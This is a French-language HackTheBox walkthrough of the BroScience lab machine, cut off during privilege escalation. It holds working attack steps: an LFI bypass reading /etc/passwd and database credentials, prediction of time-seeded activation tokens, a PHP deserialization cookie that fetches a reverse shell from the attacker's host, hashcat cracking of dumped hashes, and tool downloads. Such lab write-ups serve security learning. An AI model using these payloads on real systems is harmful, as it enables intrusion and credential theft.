HackTheBox Walkthrough - BroScience

  • Machine ciblée : BroScience.

  • Répertoire : /home/kali/BroScience

  • Temps passé dessus : 10 heures

Changelog du template

  • Version 1.0 - Sep. 2022 : création du template de base

  • Version 1.1 - Oct. 2022 : Rajout des scan nmap et des commandes de base

  • Version 1.2 - Nov. 2022 : Rajout des redirection pour éviter les retours d’erreur et du domaine pour être compliant avec TryHackMe

  • Version 1.3 - Nov. 2022 : Ajout du scan UDP + de l’export vers searchsploit

  • Version 1.4 - Dec. 2022 : Changement de l’export vers searchsploit pour gagner du temps + rajout des scripts vuln sur le full pour confirmer.

  • Pour la version 1.5 : Gérer le montage de VPN. [if Tun0 existe and IP ~=~ 10.0.0.X] Rien, sinon lancer le vpn.

Phase 1 : Reconnaissance

┌──(kali㉿kali)-[~]
└─$
name="BroScience"
repository="/home/kali/$name"
ip="10.10.11.195"
domain='htb'
cd $repository 2&>/dev/null || mkdir $repository && cd $repository
grep "$ip $name ${name}.${domain}" /etc/hosts  >/dev/null || echo "$ip $name ${name}.${domain}" | sudo tee -a /etc/hosts

nmap  -Pn -A -T5 --top-port 1000 -oN $repository/txt -oX $repository/sploitable $ip
searchsploit --nmap $repository/sploitable
nmap  -Pn -A -T5 -p - --script vuln -oN $repository/full -oX $repository/fullsploitable $ip
sudo nmap  -Pn -A -T5 -sU -p - -oN $repository/udp -oX $repository/udploitable $ip
searchsploit --nmap $repository/udploitable

Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-16 15:28 CET
Nmap scan report for BroScience (10.10.11.195)
Host is up (0.067s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 df17c6bab18222d91db5ebff5d3d2cb7 (RSA)
|   256 3f8a56f8958faeafe3ae7eb880f679d2 (ECDSA)
|_  256 3c6575274ae2ef9391374cfdd9d46341 (ED25519)
80/tcp  open  http     Apache httpd 2.4.54
|_http-server-header: Apache/2.4.54 (Debian)
|_http-title: Did not follow redirect to https://broscience.htb/
443/tcp open  ssl/http Apache httpd 2.4.54 ((Debian))
|_http-server-header: Apache/2.4.54 (Debian)
| ssl-cert: Subject: commonName=broscience.htb/organizationName=BroScience/countryName=AT
| Not valid before: 2022-07-14T19:48:36
|_Not valid after:  2023-07-14T19:48:36
| tls-alpn:
|_  http/1.1
|_http-title: BroScience : Home
|_ssl-date: TLS randomness does not represent time
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
Service Info: Host: broscience.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.83 seconds

Okay, en théorie, ça nous change un peu, on a un site web mais en SSL cette fois-ci ! Bon, on va envoyer les classiques quand même.

Phase 2 : Analyse

On fouille dans tous les sens

┌──(kali㉿LuKaLi)-[~/BroScience]
└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u https://$name.$domain --no-tls-validation
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     https://BroScience.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.4
[+] Timeout:                 10s
===============================================================
2023/03/16 15:33:53 Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 319] [--> https://broscience.htb/images/]
/includes             (Status: 301) [Size: 321] [--> https://broscience.htb/includes/]
/manual               (Status: 301) [Size: 319] [--> https://broscience.htb/manual/]
/javascript           (Status: 301) [Size: 323] [--> https://broscience.htb/javascript/]
/styles               (Status: 301) [Size: 319] [--> https://broscience.htb/styles/]

┌──(kali㉿LuKaLi)-[~/BroScience]
└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u https://$name.$domain/ --no-tls-validation -x php
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     https://BroScience.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.4
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
2023/03/16 16:01:33 Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 319] [--> https://broscience.htb/images/]
/index.php            (Status: 200) [Size: 98413]
/login.php            (Status: 200) [Size: 1936]
/register.php         (Status: 200) [Size: 2161]
/user.php             (Status: 200) [Size: 1309]
/comment.php          (Status: 302) [Size: 13] [--> /login.php]
/includes             (Status: 301) [Size: 321] [--> https://broscience.htb/includes/]
/manual               (Status: 301) [Size: 319] [--> https://broscience.htb/manual/]
/javascript           (Status: 301) [Size: 323] [--> https://broscience.htb/javascript/]
/logout.php           (Status: 302) [Size: 0] [--> /index.php]
/styles               (Status: 301) [Size: 319] [--> https://broscience.htb/styles/]
/activate.php         (Status: 200) [Size: 1256]
/exercise.php         (Status: 200) [Size: 1322]
/server-status        (Status: 403) [Size: 280]

Ok, alors vous allez me dire « mais qu’est-ce qu’il lui prends la d’un coup à faire un -x php alors qu’il en fait genre … JAMAIS !
Bah c’est tout simplement parce qu’en utilisant burp, j’ai vu que les fichiers étaient en .php et qu’il y en avait peut-être qui allait être utile comme le /activate.php que je n’ai pas vu de suite mais qui semble bien pratique.

Du coup, pour reprendre, on a face a nous un site web. Dans ce site web on a plusieurs fichiers intéressants : login.php et register.php qui demandent tous les deux un POST. Mais on a également activate.php, exercise.php et user.php qui fonctionnent avec un GET ?id=1. Ça pour moi, ça signifie injection SQL ou quelque chose de fun dans le même genre. Donc j’ai envoyé du SQLMap, et j’ai continué à regarder les dossiers dans burp. Il s’avère que sous includes, on a un fichier qui s’appelle img.php. Vous vous souvenez de Agile que je viens de me faire ou encore Inject qui avaient toutes les deux du directory traversal ? Bah on va retenter tout ça un !

┌──(kali㉿LuKaLi)-[~/BroScience]
└─$ burpcurl -k https://$name.$domain/user.php?id=1
<html>
    <head>
        <title>BroScience : administrator</title>
        <meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/uikit@3.15.0/dist/css/uikit.min.css" />
<script src="https://cdn.jsdelivr.net/npm/uikit@3.15.0/dist/js/uikit.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/uikit@3.15.0/dist/js/uikit-icons.min.js"></script>        <link rel="stylesheet" href="styles/light.css">
    </head>
    <body class="uk-dark">

<nav class="uk-navbar-container uk-margin uk-navbar-transparent uk-dark">
    <div class="uk-container uk-container-expand">
        <div class="uk-navbar" uk-navbar>
            <div class="uk-navbar-left">
                <a href="/" class="uk-navbar-item uk-logo">BroScience</a>
            </div>
            <div class="uk-navbar-right">
                <ul class="uk-navbar-nav"><li><a href="login.php">Log In</a></li></ul>            </div>
        </div>
    </div>
</nav>        <div class="uk-container uk-container-xsmall">
                            <h1 class="uk-heading-small">administrator</h1>
                <!-- TODO: Avatars -->
                <dl class="uk-description-list">
                    <dt>Member since</dt>
                    <dd>4 years ago</dd>
                    <dt>Email Address</dt>
                    <dd>administrator@broscience.htb</dd>
                    <dt>Total exercises posted</dt>
                    <dd>
                        51                    </dd>
                    <dt>Total comments posted</dt>
                    <dd>
                        17                    </dd>
                    <dt>Is activated</dt>
                    <dd>
                        Yes                    </dd>
                    <dt>Is admin</dt>
                    <dd>
                        Yes                    </dd>
                </dl>
                    </div>
    </body>
</html>

┌──(kali㉿LuKaLi)-[~/BroScience]
└─$ sqlmap  -a --level 3 --risk 3 -u https://broscience.htb/user.php?id=1  # Spoiler alert, ça n'a rien rendu sur tous les sqlmap. Je fouille du côté de img.php.

┌──(kali㉿LuKaLi)-[~/BroScience]
└─$ burpcurl -k https://$name.$domain/includes/img.php?path=../../../../../../../../../../etc/passwd
<b>Error:</b> Attack detected.

┌──(kali㉿LuKaLi)-[~/BroScience]
└─$ burpcurl -k https://$name.$domain/includes/img.php?path=../user.php
<b>Error:</b> Attack detected.

Ok donc on comprend deux trucs plutôt simple avec ça :

  • img.php est la piste à suivre pour commencer ;

  • le chemin « ../ » doit être échapé. On va donc faire un tour sur hacktricks pour trouver peut-être une idée (et en essayer pleins.) ATTENTION, je ne vais mettre que la bonne. Si vous voulez tester de votre côté, allez-y tant qu’il est encore temps ;)

┌──(kali㉿LuKaLi)-[~/BroScience]
└─$ burpcurl -k https://$name.$domain/includes/img.php?path=..%252fincludes%252fimg.php
<?php
if (!isset($_GET['path'])) {
    die('<b>Error:</b> Missing \'path\' parameter.');
}

// Check for LFI attacks
$path = $_GET['path'];

$badwords = array("../", "etc/passwd", ".ssh");
foreach ($badwords as $badword) {
    if (strpos($path, $badword) !== false) {
        die('<b>Error:</b> Attack detected.');
    }
}

// Normalize path
$path = urldecode($path);

// Return the image
header('Content-Type: image/png');
echo file_get_contents('/var/www/html/images/' . $path);
?>

En faite, on va dire à curl de mettre le caractère « % » (qui correspond au %25) puis le fichier va décoder le « %2f » qui correspond à un /. On sait donc 3 trucs désormais :

  • Comment échaper le fichier ;

  • Que l’on peut récupérer tous les fichiers qui nous intéresse ;

  • Et que l’on va pouvoir également prendre le /etc/passwd car l’urldecode se déroule après le check des badwords.

┌──(kali㉿LuKaLi)-[~/BroScience]
└─$ burpcurl -k https://$name.$domain/includes/img.php?path=..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
tss:x:103:109:TPM software stack,,,:/var/lib/tpm:/bin/false
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:105:111:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:106:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:107:115:RealtimeKit,,,:/proc:/usr/sbin/nologin
sshd:x:108:65534::/run/sshd:/usr/sbin/nologin
dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
avahi:x:110:116:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin
speech-dispatcher:x:111:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
pulse:x:112:118:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
saned:x:113:121::/var/lib/saned:/usr/sbin/nologin
colord:x:114:122:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:115:123::/var/lib/geoclue:/usr/sbin/nologin
Debian-gdm:x:116:124:Gnome Display Manager:/var/lib/gdm3:/bin/false
bill:x:1000:1000:bill,,,:/home/bill:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
postgres:x:117:125:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false

Got you ! Là encore, on a plusieurs chose d’intéressentes ; on retrouve :

  • un utilisateur www-data en /usr/sbin/nologin, donc

  • un utilisateur postgres en /bin/bash. Ça nous indique pas mla quel est la bdd du site.

  • Et un utilisateur bill

Reconstruction du site web en local.

Ouais, j’ai un poil été feignant, je l’ai pas fait à la main. Mais comme ça, j’oublie rien.

┌──(kali㉿LuKaLi)-[~/BroScience]
└─$ mkdir -p ./site
┌──(kali㉿LuKaLi)-[~/BroScience/site]
└─$ for i in index.php login.php register.php user.php comment.php includes/img.php logout.php activate.php exercise.php ; do
    if [ $i =~ .*"/".* ] ; then
        i="${i/\//%252f}"
    fi
    burpcurl -k https://$name.$domain/includes/img.php?path=..%252f$i -s > ./$i
done
# En lisant le code, j'ai trouvé d'autres fichiers à télécharger :
┌──(kali㉿LuKaLi)-[~/BroScience/site]
└─$ for i in includes/navbar.php includes/db_connect.php includes/utils.php ; do
    if [ $i =~ .*"/".* ] ; then
        i="${i/\//%252f}"
    fi
    burpcurl -k https://$name.$domain/includes/img.php?path=..%252f$i -s > ./$i
done

┌──(kali㉿LuKaLi)-[~/BroScience/site]
└─$ cat includes%252fdb_connect.php
<?php
$db_host = "localhost";
$db_port = "5432";
$db_name = "broscience";
$db_user = "dbuser";
$db_pass = "RangeOfMotion%777";
$db_salt = "NaCl";

$db_conn = pg_connect("host={$db_host} port={$db_port} dbname={$db_name} user={$db_user} password={$db_pass}");

if (!$db_conn) {
    die("<b>Error</b>: Unable to connect to database");
}
?>

Bonne blague pour le salt, j’aime énormément. En tous cas, on a désormais un mot de passe. Essayons pour voir :

┌──(kali㉿LuKaLi)-[~/BroScience/site]
└─$ ssh postgre@$name
postgre@broscience s password:
Permission denied, please try again.
postgre@broscience s password:

┌──(kali㉿LuKaLi)-[~/BroScience/site]
└─$ ssh bill@$name
bill@broscience s password:
Permission denied, please try again.

Dommage. Continuons à fouiller ; on se garde ça pour plus tard !

Création d’un compte sur le site

┌──(kali㉿LuKaLi)-[~/BroScience/site]
└─$ cat includes%252futils.php
<?php
function generate_activation_code() {
    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
    srand(time());
    $activation_code = "";
    for ($i = 0; $i < 32; $i++) {
        $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
    }
    return $activation_code;
}
[...]
?>

┌──(kali㉿LuKaLi)-[~/BroScience/site]
└─$ cat activate.php
<?php
session_start();

// Check if user is logged in already
if (isset($_SESSION['id'])) {
    header('Location: /index.php');
}

if (isset($_GET['code'])) {
    // Check if code is formatted correctly (regex)
    if (preg_match('/^[A-z0-9]{32}$/', $_GET['code'])) {
        // Check for code in database
        include_once 'includes/db_connect.php';

        $res = pg_prepare($db_conn, "check_code_query", 'SELECT id, is_activated::int FROM users WHERE activation_code=$1');
        $res = pg_execute($db_conn, "check_code_query", array($_GET['code']));

        if (pg_num_rows($res) == 1) {
            // Check if account already activated
            $row = pg_fetch_row($res);
            if (!(bool)$row[1]) {
                // Activate account
                $res = pg_prepare($db_conn, "activate_account_query", 'UPDATE users SET is_activated=TRUE WHERE id=$1');
[...]
}}}}
?>

De ce que je comprends de tout ça, c’est que :

  • Quand on créé un nouveau compte, il nous demande un token d’activation ;

  • Le token d’activation est en hexa/case-sensitive (A-Za-z0-9) et fait exactement 32 charactères.

Je vais tenter de me créer un compte puis de fuzz sur le token d’activation ?

┌──(kali㉿LuKaLi)-[~/BroScience/site]
└─$ hydra $ip -l a -x 32:32:aA1 http-get-form "/activate?code=:^PASS^:F=invalid"
[ERROR] definition for password bruteforce (-x) generates more than 4 billion passwords - this is not arogram, it is just not feasible to try so many attempts. Try a calculator how long that would take. duh

Ok donc, c’est pas une histoire de bruteforce tout simple donc. J’ai du regardé sur le forum, en fait il y a un truc assez important dans le code, c’est la fonction srand(time()). Si vous avez pas cliqué, cette dernière initialise une seed pour le générateur d’aléa. Donc en fait, l’aléatoire de la fonction se base sur le temps. Donc en théorie, si je crée un compte et que je stocke l’heure de création ; puis que je génère un token avec le même procédé, je suis sûr qu’il aura la même valeur.

Seulement, je sais pas encore figer le temps. Heureusement, la fonction time donne le temps en seconde, ça rends les choses un peu plus simple ?

┌──(kali㉿LuKaLi)-[~/BroScience/site]
└─$ burpcurl -k https://$name.$domain/register.php -d "username=b&email=m@lo.cal&password=a&password-confirm=a" && echo "" && date +%s
                            Account created. Please check your email for the activation link.                        </div>
1678994379

Je n’ai pas récrée le code php sur ma Kali, je me suis servi du site onlinephp.io pour cela. Idée d’amélioration pour une prochaine fois.

<?php
// Enter your code here, enjoy!
function generate_activation_code() {
    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
    srand(1678994379);
    $activation_code = "";
    for ($i = 0; $i < 32; $i++) {
        $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
    }
    return $activation_code;
}
 $activ = generate_activation_code();
 echo $activ;
 ?>

jTd9L5O8cVPAnGi1q7SDaZdKA43Cy6Nq
┌──(kali㉿LuKaLi)-[~/BroScience/site]
└─$ burpcurl -k https://$name.$domain/activate.php?code=jTd9L5O8cVPAnGi1q7SDaZdKA43Cy6Nq
<div> Account activated! </div>

On a un compte ! A ce stade de la partie, j’ai compris qu’il fallait que je retourne sur la page index. Ici, on trouve une nouvelle fonctionnalité : swap_theme qui rajoute un cookie sur notre machine pour gerer le thème du site. Il s’avère qu’après quelques recherches sur le code, on trouve qu’il y a une faille dans la désérialisation.

┌──(kali㉿LuKaLi)-[~/Tools]
└─$ for i in swap_theme.php ; do
    if [ $i =~ .*"/".* ] ; then
        i="${i/\//%252f}"
    fi
    burpcurl -k https://$name.$domain/includes/img.php?path=..%252f$i -s > ./$i
done
┌──(kali㉿LuKaLi)-[~/BroScience]
└─$ cat ./site/swap_theme.php
<?php
session_start();

// Check if user is logged in already
if (!isset($_SESSION['id'])) {
    header('Location: /index.php');
}

// Swap the theme
include_once "includes/utils.php";
if (strcmp(get_theme(), "light") === 0) {
    set_theme("dark");
} else {
    set_theme("light");
}

// Redirect
if (!empty($_SERVER['HTTP_REFERER'])) {
    header("Location: {$_SERVER['HTTP_REFERER']}");
} else {
    header("Location: /index.php");
}
┌──(kali㉿LuKaLi)-[~/BroScience]
└─$ cat site/includes%252futils.php
[...]
class Avatar {
    public $imgPath;

    public function __construct($imgPath) {
        $this->imgPath = $imgPath;
    }

    public function save($tmp) {
        $f = fopen($this->imgPath, "w");
        fwrite($f, file_get_contents($tmp));
        fclose($f);
    }
}

class AvatarInterface {
    public $tmp;
    public $imgPath;

    public function __wakeup() {
        $a = new Avatar($this->imgPath);
        $a->save($this->tmp);
    }
}

J’ai tenté deux trois trucs au pif, j’ai rien réussis à faire. Avant de ragequit, j’ai voulu regarder un write-up. En fait, il faut, à l’intérieur du cookie, lui dire que l’on veut se rajouter un avatar et que l’image de cet avatar pointe sur un revershell que l’on héberge sur notre machine.
Ouais, je l’aurai surement pas eu tout seul. Mais comme j’aime pas juste faire le singe et recopier sa technique, je vais voir si j’arrive à le faire solo. En gros, la structure du cookie est plutôt simple :

  • O correspond à une class (je présume)

  • le chiffre après correspond au nombre de charactères

  • la string correspond au nom de la classe

  • s veut dire string

  • le chiffre après correspond (encore) au nombre de charactères

  • et ensuite, la string en question. Ça nous donne : O:9:"UserPrefs":1:{s:5:"theme";s:5:"light"};O:15:"AvatarInterface":2:{s:3:"tmp";s:36:"http://10.10.14.70:8000/revshell.php";s:7:"imgPath";s:14:"./revshell.php";}
    On va donc tenter de créer notre nouveau cookie. Mais avant ça, on prépare nos listeners.

┌──(kali㉿LuKaLi)-[~/BroScience/site]
└─$ cd ~/Tools
┌──(kali㉿LuKaLi)-[~/Tools]
└─$ vi revphp.php
┌──(kali㉿LuKaLi)-[~/Tools]
└─$ python3 -m http.server &
┌──(kali㉿LuKaLi)-[~/Tools]
└─$ while 1=1 ; do nc -lvnp 3333 ; done

Dans un autre terminal, j’attaque donc la partie cookie. N.B : j’ai tenté avec la partie userpref avant ; mais ça ne semble pas fonctionner. J’ai du mettre que l’Avatar Interface.

echo -n 'O:15:"AvatarInterface":2:{s:3:"tmp";s:36:"http://10.10.14.70:8000/revshell.php";s:7:"imgPath";s:14:"./revshell.php";}' | base64 -w 0
burpcurl -k --cookie user-prefs="`echo -n 'O:15:"AvatarInterface":2:{s:3:"tmp";s:36:"http://10.10.14.70:8000/revshell.php";s:7:"imgPath";s:14:"./revshell.php";}' | base64 -w 0}`" https://$name.$domain/ # Normalement, cette ligne devrait marcher. Je l'ai fait passer sur un burp.

10.10.11.195 - - [16/Mar/2023 23:56:11] "GET /revshell.php HTTP/1.0" 200 -
burpcurl -k https://$name.$domain/revshell.php
[2]  - continued  nc -lvnp 3333
connect to [10.10.14.70] from (UNKNOWN) [10.10.11.195] 52862
Linux broscience 5.10.0-20-amd64 #1 SMP Debian 5.10.158-2 (2022-12-13) x86_64 GNU/Linux
 18:56:34 up 5 min,  0 users,  load average: 0.01, 0.08, 0.05
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off

Phase 3 : User

Ok, maintenant que l’on est www-data, il faut encore que l’on devienne bill. Je pense passer par le SQL pour ça :

$ psql -h localhost -p 5432 -U dbuser -W broscience
Password: RangeOfMotion%777

\d
                List of relations
 Schema |       Name       |   Type   |  Owner
--------+------------------+----------+----------
 public | comments         | table    | postgres
 public | comments_id_seq  | sequence | postgres
 public | exercises        | table    | postgres
 public | exercises_id_seq | sequence | postgres
 public | users            | table    | postgres
 public | users_id_seq     | sequence | postgres

select * from users;
 id |   username    |             password             |            email             |         activation_code          | is_activated | is_admin |         date_created
----+---------------+----------------------------------+------------------------------+----------------------------------+--------------+----------+-------------------------------
  1 | administrator | 15657792073e8a843d4f91fc403454e1 | administrator@broscience.htb | OjYUyL9R4NpM9LOFP0T4Q4NUQ9PNpLHf | t            | t        | 2019-03-07 02:02:22.226763-05
  2 | bill          | 13edad4932da9dbb57d9cd15b66ed104 | bill@broscience.htb          | WLHPyj7NDRx10BYHRJPPgnRAYlMPTkp4 | t            | f        | 2019-05-07 03:34:44.127644-04
  3 | michael       | bd3dad50e2d578ecba87d5fa15ca5f85 | michael@broscience.htb       | zgXkcmKip9J5MwJjt8SZt5datKVri9n3 | t            | f        | 2020-10-01 04:12:34.732872-04
  4 | john          | a7eed23a7be6fe0d765197b1027453fe | john@broscience.htb          | oGKsaSbjocXb3jwmnx5CmQLEjwZwESt6 | t            | f        | 2021-09-21 11:45:53.118482-04
  5 | dmytro        | 5d15340bded5b9395d5d14b9c21bc82b | dmytro@broscience.htb        | 43p9iHX6cWjr9YhaUNtWxEBNtpneNMYm | t            | f        | 2021-08-13 10:34:36.226763-04
(5 rows)

Ok donc on a des mots de passe haché. J’y aurai pas pensé de suite, mais est-ce que l’un d’entre eux est cassable avec rockyou ? Pour ça, je vais me servir de hashcat, qui a besoin des mots de passe au format $hash:$salt.

┌──(kali㉿LuKaLi)-[~/BroScience]
└─$ echo '15657792073e8a843d4f91fc403454e1:NaCl
13edad4932da9dbb57d9cd15b66ed104:NaCl
bd3dad50e2d578ecba87d5fa15ca5f85:NaCl
a7eed23a7be6fe0d765197b1027453fe:NaCl
5d15340bded5b9395d5d14b9c21bc82b:NaCl' > ./password

┌──(kali㉿LuKaLi)-[~/BroScience]
└─$ hashcat -m 20 password /usr/share/wordlists/rockyou.txt.gz
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 3.1+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 14.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: pthread-sandybridge-AMD Ryzen 7 5700U with Radeon Graphics, 1438/2941 MB (512 MB allocatable), 4MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimim salt length supported by kernel: 0
Maximum salt length supported by kernel: 256

Hashes: 4 digests; 4 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 20 (md5($salt.$pass))
Hash.Target......: password
Time.Started.....: Fri Mar 17 00:36:10 2023 (5 secs)
Time.Estimated...: Fri Mar 17 00:36:15 2023 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt.gz)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  3282.2 kH/s (0.09ms) @ Accel:256 Loops:1 Thr:1 Vec:8
Recovered........: 3/4 (75.00%) Digests (total), 0/4 (0.00%) Digests (new)
Progress.........: 14344385/14344385 (100.00%)
Rejected.........: 0/14344385 (0.00%)
Restore.Point....: 14344385/14344385 (100.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: $HEX[206b72697374656e616e6e65] -> $HEX[042a0337c2a156616d6f732103]
Hardware.Mon.#1..: Util: 40%

┌──(kali㉿LuKaLi)-[~/BroScience]
└─$ hashcat -m 20 password --show
13edad4932da9dbb57d9cd15b66ed104:NaCl:iluvhorsesandgym
bd3dad50e2d578ecba87d5fa15ca5f85:NaCl:2applesplus2apples
5d15340bded5b9395d5d14b9c21bc82b:NaCl:Aaronthehottest

Bon ! On a trois nouveau mot de passe de plus, on va les essayer dans l’ordre pour la co ssh !

┌──(kali㉿LuKaLi)-[~/Tools]
└─$ ssh bill@$ip
bill@10.10.11.195's password: #On commence par iluvhorsesandgym
Linux broscience 5.10.0-20-amd64 #1 SMP Debian 5.10.158-2 (2022-12-13) x86_64
Last login: Mon Jan  2 04:45:21 2023 from 10.10.14.40

bill@broscience:~$ # Et bah c est passé ?
bill@broscience:~$ cat user.txt
c0211202ead9112e2d9e659dbef63922
bill@broscience:~$

On est enfin utilisateur.

Phase 4 : Élévation de privilège

On va donc commencer par les classiques : le sudo -l, les différents mots de passes que l’on a déjà et le linpeas et si on trouve rien, on va fouiller un peu plus avec pspy.

bill@broscience:~$ sudo -l
iluvhorsesandgym
[sudo] password for bill:
Sorry, user bill may not run sudo on broscience.
bill@broscience:~$ su -
Password:
su: Authentication failure
bill@broscience:~$ su -
Password:
su: Authentication failure
bill@broscience:~$ su -
Password:
su: Authentication failure
bill@broscience:~$ wget http://10.10.14.70:8000/linpeas.sh
bill@broscience:~$ ./linpeas.sh
╔══════════╣ Unexpected in /opt (usually empty)
total 12
drwxr-xr-x  2 root root 4096 Jul 14  2022 .
drwxr-xr-x 19 root root 4096 Jan  2 04:50 ..
-rwxr-xr-x  1 root root 1806 Jul 14  2022 renew_cert.sh
#[...] L'output m'a rien montré de transcendant.
bill@broscience:~$ wget http://10.10.14.70:8000/pspy64
--2023-03-17 05:14:26--  http://10.10.14.70:8000/pspy64
Connecting to 10.10.14.70:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: ‘pspy64’

pspy64                       100%[==============================================>]   2.96M  14.9MB/s    in 0.2s

2023-03-17 05:14:26 (14.9 MB/s) - ‘pspy64’ saved [3104768/3104768]

bill@broscience:~$ bash ./pspy64
./pspy64: ./pspy64: cannot execute binary file
bill@broscience:~$ ./pspy64
-bash: ./pspy64: Permission denied
bill@broscience:~$ chmod +x ./pspy64
bill@broscience:~$ ./pspy64
2023/03/17 05:18:01 CMD: UID=0     PID=3827   | /usr/sbin/CRON -f
2023/03/17 05:18:01 CMD: UID=0     PID=3830   | timeout 10 /bin/bash -c /opt/renew_cert.sh /home/bill/Certs/broscience.crt
2023/03/17 05:18:01 CMD: UID=0     PID=3829   | /bin/bash /root/cron.sh
2023/03/17 05:18:01 CMD: UID=0     PID=3828   | /bin/sh -c /root/cron.sh
2023/03/17 05:18:01 CMD: UID=0     PID=3831   | /bin/bash -c /opt/renew_cert.sh /home/bill/Certs/broscience.crt
2023/03/17 05:18:01 CMD: UID=0     PID=3832   | /bin/bash /root/cron.sh
2023/03/17 05:18:01 CMD: UID=0     PID=3833   | /bin/bash /root/cron.sh

Ok donc en effet, Linpeas m’a rien remonté de transcendant, mais couplé à pspy, on en apprends un peu plus, et ça c’est intéressant : root lance de façon périodique un script présent dans /opt/ et qui va chercher un input dans /home/bill/Certs. Voyons tout ça d’un peu plus près :

bill@broscience:~$ ls -la ./Certs/
total 8
drwxr-xr-x  2 bill bill 4096 Dec  2 05:24 .
drwxr-xr-x 16 bill bill 4096 Mar 17 05:18 ..
bill@broscience:~$ cat /opt/renew_cert.sh
#!/bin/bash

if [ "$#" -ne 1 ] || [ $1 == "-h" ] || [ $1 == "--help" ] || [ $1 == "help" ]; then
    echo "Usage: $0 certificate.crt";
    exit 0;
fi

if [ -f $1 ]; then

    openssl x509 -in $1 -noout -checkend 86400 > /dev/null

    if [ $? -eq 0 ]; then
        echo "No need to renew yet.";
        exit 1;
    fi

    subject=$(openssl x509 -in $1 -noout -subject | cut -d "=" -f2-)

    country=$(echo $subject | grep -Eo1 'C = .{2}')
    state=$(echo $subject | grep -Eo 'ST = .*,')
    locality=$(echo $subject | grep -Eo 'L = .*,')
